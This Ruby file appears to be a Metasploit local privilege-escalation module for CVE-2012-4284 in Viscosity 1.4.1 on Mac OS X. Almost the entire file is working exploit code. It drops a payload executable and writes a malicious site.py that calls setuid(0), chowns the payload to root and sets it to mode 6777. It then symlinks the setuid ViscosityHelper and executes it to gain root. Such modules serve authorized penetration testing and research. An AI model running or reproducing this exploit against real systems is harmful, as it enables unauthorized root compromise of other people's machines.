117 lines
3.6 KiB
Ruby
117 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/exploit/exe'
|
|
|
|
class Metasploit4 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info( info, {
|
|
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
|
|
vulnerability exists in the setuid ViscosityHelper, where an insufficient
|
|
validation of path names allows execution of arbitrary python code as root.
|
|
This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
|
|
10.7.5.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-4284' ],
|
|
[ 'OSVDB', '84709' ],
|
|
[ 'EDB', '20485' ],
|
|
[ 'URL', 'http://blog.zx2c4.com/791' ]
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'DisclosureDate' => 'Aug 12 2012',
|
|
'Platform' => 'osx',
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell' ],
|
|
'Targets' =>
|
|
[
|
|
[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
|
|
],
|
|
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
|
|
'DefaultTarget' => 0
|
|
}))
|
|
register_options([
|
|
# These are not OptPath becuase it's a *remote* path
|
|
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
|
|
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
if not file?(datastore["Viscosity"])
|
|
print_error "ViscosityHelper not found"
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000")
|
|
|
|
if check =~ /ViscosityHelper/
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
def clean
|
|
file_rm(@link)
|
|
file_rm(@python_file)
|
|
file_rm("#{@python_file}c")
|
|
file_rm(@exe_file)
|
|
end
|
|
|
|
def exploit
|
|
|
|
exe_name = rand_text_alpha(8)
|
|
@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
|
|
print_status("Dropping executable #{@exe_file}")
|
|
write_file(@exe_file, generate_payload_exe)
|
|
|
|
evil_python =<<-EOF
|
|
import os
|
|
os.setuid(0)
|
|
os.setgid(0)
|
|
os.system("chown root #{@exe_file}")
|
|
os.system("chmod 6777 #{@exe_file}")
|
|
os.execl("#{@exe_file}", "#{exe_name}")
|
|
EOF
|
|
|
|
@python_file = "#{datastore["WritableDir"]}/site.py"
|
|
print_status("Dropping python #{@python_file}...")
|
|
write_file(@python_file, evil_python)
|
|
|
|
print_status("Creating symlink...")
|
|
link_name = rand_text_alpha(8)
|
|
@link = "#{datastore["WritableDir"]}/#{link_name}"
|
|
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"
|
|
|
|
print_status("Running...")
|
|
begin
|
|
cmd_exec "#{@link}"
|
|
rescue
|
|
print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
|
|
clean
|
|
return
|
|
end
|
|
print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
|
|
end
|
|
end
|
|
|